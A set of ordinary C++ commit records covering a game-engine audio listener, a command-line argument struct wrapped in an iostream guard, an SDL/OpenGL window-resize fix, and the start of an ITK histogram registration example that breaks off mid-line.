{\n\t\tENGINE->GetAudioManager()->SetListenerVolume(vol);\n\t}\n}\n\nvoid AudioListener::HandleMessage(MessageChunk messageChunk) {\n\tComponent::HandleMessage(messageChunk);\n\n\tswitch (messageChunk->GetMessageType()) {\n\t\tcase MESSAGE_TYPE_TRANSFORM_CHANGED_EVENT:\n\t\t\tonTransformChanged();\n\t\t\tbreak;\n\t}\n}\n\nvoid AudioListener::SetAsActiveListener() {\n\tif (AudioListener::activeListener != this->GetObject()->GetId()) {\n\t\tif (this->is3D) {\n\t\t\tENGINE->GetAudioManager()->Enable3DSound();\n\t\t}\n\t\telse {\n\t\t\tENGINE->GetAudioManager()->Disable3DSound();\n\t\t}\n\n\t\tTransform* trans = this->GetObject()->GetComponent<Transform>();\n\t\tENGINE->GetAudioManager()->SetListenerPosition(trans->GetPositionWorld());\n\t\tENGINE->GetAudioManager()->SetListenerOrientation(trans->GetOrientationWorld());\n\n\t\tENGINE->GetAudioManager()->SetListenerVelocity(this->velocity);\n\t\tENGINE->GetAudioManager()->SetListenerVolume(this->volume);\n\n\t\tAudioListener::activeListener = this->GetObject()->GetId();\n\t}\n}\n\nvoid AudioListener::init() {\n\tthis->is3D = false;\n\tthis->velocity = ZERO_VEC3;\n\tthis->volume = 1.0f;\n\n\tthis->addSubscriptionToMessageType(MESSAGE_TYPE_TRANSFORM_CHANGED_EVENT, this->GetTypeId(), true);\n}\n\nvoid AudioListener::destroy() {\n\n}\n\nvoid AudioListener::onTransformChanged() {\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tTransform* trans = this->GetObject()->GetComponent<Transform>();\n\t\tENGINE->GetAudioManager()->SetListenerPosition(trans->GetPositionWorld());\n\t\tENGINE->GetAudioManager()->SetListenerOrientation(trans->GetOrientationWorld());\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ The MIT License (MIT)\r\n\r\n\/\/ Copyright (c) 2012-2013 Danny Y., Rapptz\r\n\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy of\r\n\/\/ this software and associated documentation files (the \"Software\"), to deal in\r\n\/\/ the Software without restriction, including without limitation the rights to\r\n\/\/ use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\r\n\/\/ the Software, and to permit persons to whom the Software is furnished to do so,\r\n\/\/ subject to the following conditions:\r\n\r\n\/\/ The above copyright notice and this permission notice shall be included in all\r\n\/\/ copies or substantial portions of the Software.\r\n\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\r\n\/\/ FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\r\n\/\/ COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\r\n\/\/ IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\r\n\/\/ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n\r\n#ifndef GEARS_PROGRAM_OPTIONS_ARG_HPP\r\n#define GEARS_PROGRAM_OPTIONS_ARG_HPP\r\n\r\n#include <string>\r\n\r\n#ifndef GEARS_NO_IOSTREAM\r\n#include <iosfwd>\r\n#endif \/\/ GEARS_NO_IOSTREAM\r\n\r\nnamespace gears {\r\nstruct arg {\r\nprivate:\r\n friend class program_options;\r\n std::string name;\r\n std::string description;\r\n std::string parameter;\r\n std::string value;\r\n bool active = false;\r\n char short_name = '\\0';\r\npublic:\r\n arg(std::string name, std::string desc = \"\", char shorter = '\\0', std::string p = \"\") noexcept: \r\n name(std::move(name)), description(std::move(desc)), parameter(std::move(p)), short_name(shorter) {}\r\n\r\n template<typename Elem, typename Traits>\r\n friend auto operator<<(std::basic_ostream<Elem, Traits>& out, const arg& a) -> decltype(out) {\r\n int spaces = 30;\r\n out << \" \";\r\n if(!a.name.empty()) {\r\n if(a.short_name != '\\0') {\r\n out << '-' << a.short_name << \", \";\r\n spaces -= 4;\r\n }\r\n\r\n out << \"--\" << a.name;\r\n spaces -= 2 + a.name.size();\r\n\r\n if(!a.parameter.empty()) {\r\n out << \"[=<\" << a.parameter << \">]\";\r\n spaces -= 5 + a.parameter.size();\r\n }\r\n\r\n for(int i = 0; i < spaces; ++i) {\r\n out << ' ';\r\n }\r\n\r\n out << a.description << '\\n';\r\n }\r\n\r\n return out;\r\n }\r\n\r\n bool is_value() const noexcept {\r\n return !parameter.empty();\r\n }\r\n\r\n arg& shorter(char c) noexcept {\r\n short_name = c;\r\n return *this;\r\n }\r\n\r\n arg& help(std::string str) noexcept {\r\n description = std::move(str);\r\n return *this;\r\n }\r\n\r\n arg& param(std::string str) noexcept {\r\n parameter = std::move(str);\r\n return *this;\r\n }\r\n};\r\n} \/\/ gears\r\n\r\n#endif \/\/ GEARS_PROGRAM_OPTIONS_ARG_HPP<commit_msg>Fix issue with GEARS_NO_IOSTREAM missing<commit_after>\/\/ The MIT License (MIT)\r\n\r\n\/\/ Copyright (c) 2012-2013 Danny Y., Rapptz\r\n\r\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy of\r\n\/\/ this software and associated documentation files (the \"Software\"), to deal in\r\n\/\/ the Software without restriction, including without limitation the rights to\r\n\/\/ use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\r\n\/\/ the Software, and to permit persons to whom the Software is furnished to do so,\r\n\/\/ subject to the following conditions:\r\n\r\n\/\/ The above copyright notice and this permission notice shall be included in all\r\n\/\/ copies or substantial portions of the Software.\r\n\r\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\r\n\/\/ FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\r\n\/\/ COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\r\n\/\/ IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\r\n\/\/ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n\r\n#ifndef GEARS_PROGRAM_OPTIONS_ARG_HPP\r\n#define GEARS_PROGRAM_OPTIONS_ARG_HPP\r\n\r\n#include <string>\r\n\r\n#ifndef GEARS_NO_IOSTREAM\r\n#include <iosfwd>\r\n#endif \/\/ GEARS_NO_IOSTREAM\r\n\r\nnamespace gears {\r\nstruct arg {\r\nprivate:\r\n friend class program_options;\r\n std::string name;\r\n std::string description;\r\n std::string parameter;\r\n std::string value;\r\n bool active = false;\r\n char short_name = '\\0';\r\npublic:\r\n arg(std::string name, std::string desc = \"\", char shorter = '\\0', std::string p = \"\") noexcept: \r\n name(std::move(name)), description(std::move(desc)), parameter(std::move(p)), short_name(shorter) {}\r\n\r\n bool is_value() const noexcept {\r\n return !parameter.empty();\r\n }\r\n\r\n arg& shorter(char c) noexcept {\r\n short_name = c;\r\n return *this;\r\n }\r\n\r\n arg& help(std::string str) noexcept {\r\n description = std::move(str);\r\n return *this;\r\n }\r\n\r\n arg& param(std::string str) noexcept {\r\n parameter = std::move(str);\r\n return *this;\r\n }\r\n\r\n #ifndef GEARS_NO_IOSTREAM\r\n\r\n template<typename Elem, typename Traits>\r\n friend auto operator<<(std::basic_ostream<Elem, Traits>& out, const arg& a) -> decltype(out) {\r\n int spaces = 30;\r\n out << \" \";\r\n if(!a.name.empty()) {\r\n if(a.short_name != '\\0') {\r\n out << '-' << a.short_name << \", \";\r\n spaces -= 4;\r\n }\r\n\r\n out << \"--\" << a.name;\r\n spaces -= 2 + a.name.size();\r\n\r\n if(!a.parameter.empty()) {\r\n out << \"[=<\" << a.parameter << \">]\";\r\n spaces -= 5 + a.parameter.size();\r\n }\r\n\r\n for(int i = 0; i < spaces; ++i) {\r\n out << ' ';\r\n }\r\n\r\n out << a.description << '\\n';\r\n }\r\n\r\n return out;\r\n }\r\n\r\n #endif \/\/ GEARS_NO_IOSTREAM\r\n};\r\n} \/\/ gears\r\n\r\n#endif \/\/ GEARS_PROGRAM_OPTIONS_ARG_HPP<|endoftext|>"} {"text":"<commit_before>#include <iostream>\r\n#include <External\/gl_core_3_3.hpp>\r\n#include <SDL2\/SDL.h>\r\n#include <glm\/glm.hpp>\r\n#include <glm\/gtc\/matrix_transform.hpp>\r\n#include <Base\/Filesystem\/File.h>\r\n#include \"messagebox.h\"\r\nusing namespace gl;\r\n\r\nint keyPressed[SDL_NUM_SCANCODES] = {0};\r\nint WINDOW_WIDTH = 1280, WINDOW_HEIGHT = 720;\r\n\r\nclass String\r\n{\r\n private:\r\n const char* stringData;\r\n public:\r\n String(const char* cstr) : stringData(cstr) {}\r\n const char* str() const\r\n {\r\n return stringData;\r\n }\r\n};\r\n\r\nclass Shader\r\n{\r\n private:\r\n GLuint vertID, fragID, progID;\r\n GLuint newShader(GLenum shaderType, const char* source)\r\n {\r\n \/\/ Tutorial code from http:\/\/www.arcsynthesis.org\/gltut\r\n \/\/ Copyright © 2012 Jason L. McKesson\r\n \/\/ Variable names changed take custom parameters and work with glLoadGen func_cpp functions\r\n GLuint shader = CreateShader(shaderType);\r\n ShaderSource(shader, 1, &source, NULL);\r\n CompileShader(shader);\r\n GLint status;\r\n GetShaderiv(shader, COMPILE_STATUS, &status);\r\n if (status == FALSE_)\r\n {\r\n GLint infoLogLength;\r\n GetShaderiv(shader, INFO_LOG_LENGTH, &infoLogLength);\r\n\r\n GLchar *strInfoLog = new GLchar[infoLogLength + 1];\r\n GetShaderInfoLog(shader, infoLogLength, NULL, strInfoLog);\r\n\r\n const char *strShaderType = NULL;\r\n switch(shaderType)\r\n {\r\n case VERTEX_SHADER: strShaderType = \"vertex\"; break;\r\n case GEOMETRY_SHADER: strShaderType = \"geometry\"; break;\r\n case FRAGMENT_SHADER: strShaderType = \"fragment\"; break;\r\n }\r\n\r\n fprintf(stderr, \"Compile failure in %s shader:\\n%s\\n\", strShaderType, strInfoLog);\r\n delete[] strInfoLog;\r\n }\r\n return shader;\r\n }\r\n public:\r\n Shader(const File& vert, const File& frag)\r\n {\r\n \/\/ Create both shaders\r\n vertID = newShader(VERTEX_SHADER, vert.string().c_str());\r\n fragID = newShader(FRAGMENT_SHADER, frag.string().c_str());\r\n\r\n \/\/ Create and link a program\r\n progID = CreateProgram();\r\n AttachShader(progID, vertID);\r\n AttachShader(progID, fragID);\r\n LinkProgram(progID);\r\n DetachShader(progID, vertID);\r\n DetachShader(progID, fragID);\r\n }\r\n const int getProgram() {return progID;}\r\n};\r\n\r\nconst float triangle[] = {\r\n \/\/ Positions\r\n -1, -1, 0, 1,\r\n 1, -1, 0, 1,\r\n 0, 1, 0, 1,\r\n \/\/ Colors\r\n 1, 0, 0, 1,\r\n 0, 1, 0, 1,\r\n 0, 0, 1, 1\r\n};\r\n\r\n#include \"cube.cpp\"\r\n\r\nclass TestScene\r\n{\r\n private:\r\n Shader shader;\r\n GLuint VBO_id;\r\n GLuint VAO_id;\r\n GLuint mvpLocation, offsetLocation;\r\n unsigned deltaTime;\r\n unsigned currentFrame;\r\n unsigned lastFrame;\r\n\r\n glm::mat4 model, view, projection;\r\n glm::vec4 offset;\r\n\r\n public:\r\n TestScene() : shader(\"Shaders\/UnlitGeneric.vert\", \"Shaders\/UnlitGeneric.frag\"), lastFrame(SDL_GetTicks())\r\n {\r\n ClearColor(0, 0, 0, 1);\r\n ClearDepth(1);\r\n Enable(DEPTH_TEST);\r\n Enable(CULL_FACE);\r\n CullFace(BACK);\r\n FrontFace(CW);\r\n Viewport(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT);\r\n\r\n \/\/ Set up uniforms for the shader\r\n mvpLocation = GetUniformLocation(shader.getProgram(), \"MVP\");\r\n offsetLocation = GetUniformLocation(shader.getProgram(), \"offset\");\r\n\r\n \/\/ Generate a VBO and VAO\r\n GenBuffers(1, &VBO_id);\r\n GenVertexArrays(1, &VAO_id);\r\n \/\/ Bind them\r\n BindBuffer(ARRAY_BUFFER, VBO_id);\r\n BindVertexArray(VAO_id);\r\n \/\/ Set the buffer data\r\n BufferData(ARRAY_BUFFER, sizeof(vertexData), vertexData, STATIC_DRAW);\r\n \/\/ Enable the first two vertex attributes\r\n EnableVertexAttribArray(0);\r\n EnableVertexAttribArray(1);\r\n \/\/ Attribute index, 4 values per position, inform they're floats, unknown, space between values, first value\r\n VertexAttribPointer(0, 4, gl::FLOAT, false, 0, 0);\r\n VertexAttribPointer(1, 4, gl::FLOAT, false, 0, (void*) (sizeof(vertexData) \/ 2));\r\n \/\/ And clean up\r\n DisableVertexAttribArray(0);\r\n DisableVertexAttribArray(1);\r\n BindBuffer(ARRAY_BUFFER, 0);\r\n BindVertexArray(0);\r\n }\r\n void draw()\r\n {\r\n static unsigned totalTime = 0;\r\n currentFrame = SDL_GetTicks();\r\n deltaTime = currentFrame - lastFrame;\r\n lastFrame = currentFrame;\r\n\r\n totalTime += deltaTime;\r\n\r\n \/\/ Matrices\r\n model = glm::mat4(1);\r\n\r\n view = glm::lookAt(glm::vec3(0, 0, 2),\r\n glm::vec3(0, 0, 0),\r\n glm::vec3(0, 1, 0));\r\n\r\n int sizeX = WINDOW_WIDTH, sizeY = WINDOW_HEIGHT;\r\n\r\n projection = glm::perspective(60.0, (double)sizeX\/(double)sizeY, 0.01, 10000.0);\r\n\r\n glm::mat4 modelViewProjection = projection * view * model;\r\n\r\n static float modelX = 0, modelY = 0;\r\n if (keyPressed[SDL_SCANCODE_LEFT])\r\n {\r\n modelX -= float(deltaTime * 0.001);\r\n }\r\n if (keyPressed[SDL_SCANCODE_RIGHT])\r\n {\r\n modelX += float(deltaTime * 0.001);\r\n }\r\n if (keyPressed[SDL_SCANCODE_UP])\r\n {\r\n modelY += float(deltaTime * 0.001);\r\n }\r\n if (keyPressed[SDL_SCANCODE_DOWN])\r\n {\r\n modelY -= float(deltaTime * 0.001);\r\n }\r\n\r\n \/\/ Offset\r\n offset.x = modelX;\r\n offset.y = modelY;\r\n offset.z = 0;\r\n offset.w = 1;\r\n\r\n \/\/ Set the shader program\r\n UseProgram(shader.getProgram());\r\n UniformMatrix4fv(mvpLocation, 1, FALSE_, &modelViewProjection[0][0]);\r\n Uniform4fv(offsetLocation, 1, &offset[0]);\r\n \/\/ Bind the vertex array\r\n BindVertexArray(VAO_id);\r\n EnableVertexAttribArray(0);\r\n EnableVertexAttribArray(1);\r\n \/\/ Draw the values\r\n DrawArrays(TRIANGLES, 0, 36);\r\n \/\/ And unbind the vertex array\r\n DisableVertexAttribArray(0);\r\n DisableVertexAttribArray(1);\r\n BindVertexArray(0);\r\n }\r\n};\r\n\r\nvoid cbfun_windowResized(int width, int height)\r\n{\r\n WINDOW_WIDTH = width;\r\n WINDOW_HEIGHT = height;\r\n Viewport(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT);\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n PHYSFS_init(argv[0]);\r\n setRootPath(\"..\/Data\");\r\n SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3);\r\n SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 3);\r\n SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_CORE);\r\n SDL_GL_SetAttribute(SDL_GL_CONTEXT_FLAGS, SDL_GL_CONTEXT_FORWARD_COMPATIBLE_FLAG);\r\n SDL_GL_SetAttribute(SDL_GL_MULTISAMPLEBUFFERS, 1);\r\n SDL_GL_SetAttribute(SDL_GL_MULTISAMPLESAMPLES, 4);\r\n SDL_Init(SDL_INIT_VIDEO);\r\n SDL_Window* window = SDL_CreateWindow(\"SomeGame (SDL)\",\r\n SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED,\r\n WINDOW_WIDTH, WINDOW_HEIGHT,\r\n SDL_WINDOW_OPENGL | SDL_WINDOW_RESIZABLE);\r\n SDL_GLContext context = SDL_GL_CreateContext(window);\r\n SDL_GL_SetSwapInterval(1);\r\n if (!window || !sys::LoadFunctions())\r\n {\r\n MessageBoxError(\"Fatal Error\", \"Could not initialize an OpenGL context\\nMake sure your computer supports OpenGL 3.3 and drivers are updated\");\r\n fprintf(stderr, \"SDL_GetError(): %s\", SDL_GetError());\r\n return -1;\r\n }\r\n fprintf(stdout, \"OpenGL version: %s\\nDisplay device: %s\\nVendor: %s\\n\", GetString(VERSION), GetString(RENDERER), GetString(VENDOR));\r\n\r\n TestScene scene;\r\n bool runGame = true;\r\n while (runGame)\r\n {\r\n SDL_Event event;\r\n while (SDL_PollEvent(&event))\r\n {\r\n if (event.type == SDL_KEYDOWN)\r\n {\r\n keyPressed[event.key.keysym.scancode] = 1;\r\n }\r\n else if (event.type == SDL_KEYUP)\r\n {\r\n keyPressed[event.key.keysym.scancode] = 0;\r\n }\r\n\r\n if (event.type == SDL_QUIT or event.key.keysym.scancode == SDL_SCANCODE_ESCAPE)\r\n {\r\n runGame = false;\r\n }\r\n else if (event.type == SDL_WINDOWEVENT_RESIZED)\r\n {\r\n cbfun_windowResized(event.window.data1, event.window.data2);\r\n }\r\n }\r\n Clear(COLOR_BUFFER_BIT | DEPTH_BUFFER_BIT);\r\n scene.draw();\r\n SDL_GL_SwapWindow(window);\r\n }\r\n SDL_GL_DeleteContext(context);\r\n SDL_DestroyWindow(window);\r\n SDL_Quit();\r\n return 0;\r\n}\r\n<commit_msg>Fix glViewport() not being called on window resize<commit_after>#include <iostream>\r\n#include <External\/gl_core_3_3.hpp>\r\n#include <SDL2\/SDL.h>\r\n#include <glm\/glm.hpp>\r\n#include <glm\/gtc\/matrix_transform.hpp>\r\n#include <Base\/Filesystem\/File.h>\r\n#include \"messagebox.h\"\r\nusing namespace gl;\r\n\r\nint keyPressed[SDL_NUM_SCANCODES] = {0};\r\nint WINDOW_WIDTH = 1280, WINDOW_HEIGHT = 720;\r\n\r\nclass String\r\n{\r\n private:\r\n const char* stringData;\r\n public:\r\n String(const char* cstr) : stringData(cstr) {}\r\n const char* str() const\r\n {\r\n return stringData;\r\n }\r\n};\r\n\r\nclass Shader\r\n{\r\n private:\r\n GLuint vertID, fragID, progID;\r\n GLuint newShader(GLenum shaderType, const char* source)\r\n {\r\n \/\/ Tutorial code from http:\/\/www.arcsynthesis.org\/gltut\r\n \/\/ Copyright © 2012 Jason L. McKesson\r\n \/\/ Variable names changed take custom parameters and work with glLoadGen func_cpp functions\r\n GLuint shader = CreateShader(shaderType);\r\n ShaderSource(shader, 1, &source, NULL);\r\n CompileShader(shader);\r\n GLint status;\r\n GetShaderiv(shader, COMPILE_STATUS, &status);\r\n if (status == FALSE_)\r\n {\r\n GLint infoLogLength;\r\n GetShaderiv(shader, INFO_LOG_LENGTH, &infoLogLength);\r\n\r\n GLchar *strInfoLog = new GLchar[infoLogLength + 1];\r\n GetShaderInfoLog(shader, infoLogLength, NULL, strInfoLog);\r\n\r\n const char *strShaderType = NULL;\r\n switch(shaderType)\r\n {\r\n case VERTEX_SHADER: strShaderType = \"vertex\"; break;\r\n case GEOMETRY_SHADER: strShaderType = \"geometry\"; break;\r\n case FRAGMENT_SHADER: strShaderType = \"fragment\"; break;\r\n }\r\n\r\n fprintf(stderr, \"Compile failure in %s shader:\\n%s\\n\", strShaderType, strInfoLog);\r\n delete[] strInfoLog;\r\n }\r\n return shader;\r\n }\r\n public:\r\n Shader(const File& vert, const File& frag)\r\n {\r\n \/\/ Create both shaders\r\n vertID = newShader(VERTEX_SHADER, vert.string().c_str());\r\n fragID = newShader(FRAGMENT_SHADER, frag.string().c_str());\r\n\r\n \/\/ Create and link a program\r\n progID = CreateProgram();\r\n AttachShader(progID, vertID);\r\n AttachShader(progID, fragID);\r\n LinkProgram(progID);\r\n DetachShader(progID, vertID);\r\n DetachShader(progID, fragID);\r\n }\r\n const int getProgram() {return progID;}\r\n};\r\n\r\nconst float triangle[] = {\r\n \/\/ Positions\r\n -1, -1, 0, 1,\r\n 1, -1, 0, 1,\r\n 0, 1, 0, 1,\r\n \/\/ Colors\r\n 1, 0, 0, 1,\r\n 0, 1, 0, 1,\r\n 0, 0, 1, 1\r\n};\r\n\r\n#include \"cube.cpp\"\r\n\r\nclass TestScene\r\n{\r\n private:\r\n Shader shader;\r\n GLuint VBO_id;\r\n GLuint VAO_id;\r\n GLuint mvpLocation, offsetLocation;\r\n unsigned deltaTime;\r\n unsigned currentFrame;\r\n unsigned lastFrame;\r\n\r\n glm::mat4 model, view, projection;\r\n glm::vec4 offset;\r\n\r\n public:\r\n TestScene() : shader(\"Shaders\/UnlitGeneric.vert\", \"Shaders\/UnlitGeneric.frag\"), lastFrame(SDL_GetTicks())\r\n {\r\n ClearColor(0, 0, 0, 1);\r\n ClearDepth(1);\r\n Enable(DEPTH_TEST);\r\n Enable(CULL_FACE);\r\n CullFace(BACK);\r\n FrontFace(CW);\r\n Viewport(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT);\r\n\r\n \/\/ Set up uniforms for the shader\r\n mvpLocation = GetUniformLocation(shader.getProgram(), \"MVP\");\r\n offsetLocation = GetUniformLocation(shader.getProgram(), \"offset\");\r\n\r\n \/\/ Generate a VBO and VAO\r\n GenBuffers(1, &VBO_id);\r\n GenVertexArrays(1, &VAO_id);\r\n \/\/ Bind them\r\n BindBuffer(ARRAY_BUFFER, VBO_id);\r\n BindVertexArray(VAO_id);\r\n \/\/ Set the buffer data\r\n BufferData(ARRAY_BUFFER, sizeof(vertexData), vertexData, STATIC_DRAW);\r\n \/\/ Enable the first two vertex attributes\r\n EnableVertexAttribArray(0);\r\n EnableVertexAttribArray(1);\r\n \/\/ Attribute index, 4 values per position, inform they're floats, unknown, space between values, first value\r\n VertexAttribPointer(0, 4, gl::FLOAT, false, 0, 0);\r\n VertexAttribPointer(1, 4, gl::FLOAT, false, 0, (void*) (sizeof(vertexData) \/ 2));\r\n \/\/ And clean up\r\n DisableVertexAttribArray(0);\r\n DisableVertexAttribArray(1);\r\n BindBuffer(ARRAY_BUFFER, 0);\r\n BindVertexArray(0);\r\n }\r\n void draw()\r\n {\r\n static unsigned totalTime = 0;\r\n currentFrame = SDL_GetTicks();\r\n deltaTime = currentFrame - lastFrame;\r\n lastFrame = currentFrame;\r\n\r\n totalTime += deltaTime;\r\n\r\n \/\/ Matrices\r\n model = glm::mat4(1);\r\n\r\n view = glm::lookAt(glm::vec3(0, 0, 2),\r\n glm::vec3(0, 0, 0),\r\n glm::vec3(0, 1, 0));\r\n\r\n int sizeX = WINDOW_WIDTH, sizeY = WINDOW_HEIGHT;\r\n\r\n projection = glm::perspective(60.0, (double)sizeX\/(double)sizeY, 0.01, 10000.0);\r\n\r\n glm::mat4 modelViewProjection = projection * view * model;\r\n\r\n static float modelX = 0, modelY = 0;\r\n if (keyPressed[SDL_SCANCODE_LEFT])\r\n {\r\n modelX -= float(deltaTime * 0.001);\r\n }\r\n if (keyPressed[SDL_SCANCODE_RIGHT])\r\n {\r\n modelX += float(deltaTime * 0.001);\r\n }\r\n if (keyPressed[SDL_SCANCODE_UP])\r\n {\r\n modelY += float(deltaTime * 0.001);\r\n }\r\n if (keyPressed[SDL_SCANCODE_DOWN])\r\n {\r\n modelY -= float(deltaTime * 0.001);\r\n }\r\n\r\n \/\/ Offset\r\n offset.x = modelX;\r\n offset.y = modelY;\r\n offset.z = 0;\r\n offset.w = 1;\r\n\r\n \/\/ Set the shader program\r\n UseProgram(shader.getProgram());\r\n UniformMatrix4fv(mvpLocation, 1, FALSE_, &modelViewProjection[0][0]);\r\n Uniform4fv(offsetLocation, 1, &offset[0]);\r\n \/\/ Bind the vertex array\r\n BindVertexArray(VAO_id);\r\n EnableVertexAttribArray(0);\r\n EnableVertexAttribArray(1);\r\n \/\/ Draw the values\r\n DrawArrays(TRIANGLES, 0, 36);\r\n \/\/ And unbind the vertex array\r\n DisableVertexAttribArray(0);\r\n DisableVertexAttribArray(1);\r\n BindVertexArray(0);\r\n }\r\n};\r\n\r\nint main(int argc, char** argv)\r\n{\r\n PHYSFS_init(argv[0]);\r\n setRootPath(\"..\/Data\");\r\n SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3);\r\n SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 3);\r\n SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_CORE);\r\n SDL_GL_SetAttribute(SDL_GL_CONTEXT_FLAGS, SDL_GL_CONTEXT_FORWARD_COMPATIBLE_FLAG);\r\n SDL_GL_SetAttribute(SDL_GL_MULTISAMPLEBUFFERS, 1);\r\n SDL_GL_SetAttribute(SDL_GL_MULTISAMPLESAMPLES, 4);\r\n SDL_Init(SDL_INIT_VIDEO);\r\n SDL_Window* window = SDL_CreateWindow(\"SomeGame (SDL)\",\r\n SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED,\r\n WINDOW_WIDTH, WINDOW_HEIGHT,\r\n SDL_WINDOW_OPENGL | SDL_WINDOW_RESIZABLE);\r\n SDL_GLContext context = SDL_GL_CreateContext(window);\r\n SDL_GL_SetSwapInterval(1);\r\n if (!window || !sys::LoadFunctions())\r\n {\r\n MessageBoxError(\"Fatal Error\", \"Could not initialize an OpenGL context\\nMake sure your computer supports OpenGL 3.3 and drivers are updated\");\r\n fprintf(stderr, \"SDL_GetError(): %s\", SDL_GetError());\r\n return -1;\r\n }\r\n fprintf(stdout, \"OpenGL version: %s\\nDisplay device: %s\\nVendor: %s\\n\", GetString(VERSION), GetString(RENDERER), GetString(VENDOR));\r\n\r\n TestScene scene;\r\n bool runGame = true;\r\n while (runGame)\r\n {\r\n SDL_Event event;\r\n while (SDL_PollEvent(&event))\r\n {\r\n if (event.type == SDL_KEYDOWN)\r\n {\r\n keyPressed[event.key.keysym.scancode] = 1;\r\n }\r\n else if (event.type == SDL_KEYUP)\r\n {\r\n keyPressed[event.key.keysym.scancode] = 0;\r\n }\r\n\r\n if (event.type == SDL_QUIT or event.key.keysym.scancode == SDL_SCANCODE_ESCAPE)\r\n {\r\n runGame = false;\r\n }\r\n\r\n if (event.type == SDL_WINDOWEVENT and event.window.event == SDL_WINDOWEVENT_RESIZED)\r\n {\r\n WINDOW_WIDTH = event.window.data1;\r\n WINDOW_HEIGHT = event.window.data2;\r\n Viewport(0, 0, WINDOW_WIDTH, WINDOW_HEIGHT);\r\n }\r\n }\r\n Clear(COLOR_BUFFER_BIT | DEPTH_BUFFER_BIT);\r\n scene.draw();\r\n SDL_GL_SwapWindow(window);\r\n }\r\n SDL_GL_DeleteContext(context);\r\n SDL_DestroyWindow(window);\r\n SDL_Quit();\r\n return 0;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: ImageRegistrationHistogramPlotter.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\/\/ The example shows how to use the \\doxygen{HistogramToImageFilter} class.\n\/\/ The example registers two images using the gradient descent optimizer.\n\/\/ The transform used here is a simple translation transform. The metric\n\/\/ is a MutualInformationHistogramImageToImageMetric. \n\/\/\n\/\/ The jointHistogramWriter is invoked after every iteration of the optimizer.\n\/\/ the writer here writes the joint histogram after every iteration as \n\/\/ JointHistogramXXX.mhd\n\/\/\n\/\/ Note: This may not work for some VNL optimizers like Amoeba which do not throw\n\/\/ events.\n\/\/ \n\n\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n#include \"itkImageRegistrationMethod.h\"\n#include \"itkTranslationTransform.h\"\n#include \"itkMutualInformationHistogramImageToImageMetric.h\"\n#include \"itkLinearInterpolateImageFunction.h\"\n#include \"itkGradientDescentOptimizer.h\"\n#include \"itkImage.h\"\n#include \"itkNormalizeImageFilter.h\"\n#include \"itkDiscreteGaussianImageFilter.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n#include \"itkResampleImageFilter.h\"\n#include \"itkCastImageFilter.h\"\n#include \"itkHistogramToImageFilter.h\"\n#include \"itkCommand.h\"\n\n\nconst unsigned int Dimension = 2;\n\n\nclass HistogramWriter\n{\npublic:\n typedef float InternalPixelType;\n typedef itk::Image< InternalPixelType, Dimension > InternalImageType;\n typedef itk::MutualInformationHistogramImageToImageMetric< \n InternalImageType, \n InternalImageType > MetricType;\n typedef MetricType::Pointer MetricPointer;\n typedef MetricType::HistogramType HistogramType;\n typedef itk::HistogramToImageFilter< HistogramType > HistogramToImageFilterType;\n typedef HistogramToImageFilterType::Pointer HistogramToImageFilterPointer;\n typedef itk::ImageFileWriter< HistogramToImageFilterType::OutputImageType > HistogramWriterType;\n typedef HistogramWriterType::Pointer HistogramWriterPointer;\n \n HistogramWriter():\n m_Metric(0)\n {\n this->m_Filter = HistogramToImageFilterType::New();\n this->histogramWriter = HistogramWriterType::New();\n this->histogramWriter->SetInput( this->m_Filter->GetOutput() );\n\n std::string outputFileBase = \"JointHistogram\"; \/\/ Base of 